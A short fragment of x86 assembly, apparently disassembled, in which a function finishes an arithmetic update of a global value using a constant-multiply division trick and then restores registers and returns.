sub esi, edx
mov eax, 0x7225d683
imul dword [0x4518e0]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
pop ebp
add esi, 0x1f366
pop edi
mov dword [0x4518e4], esi
pop esi
mov eax, ecx
pop ebx
ret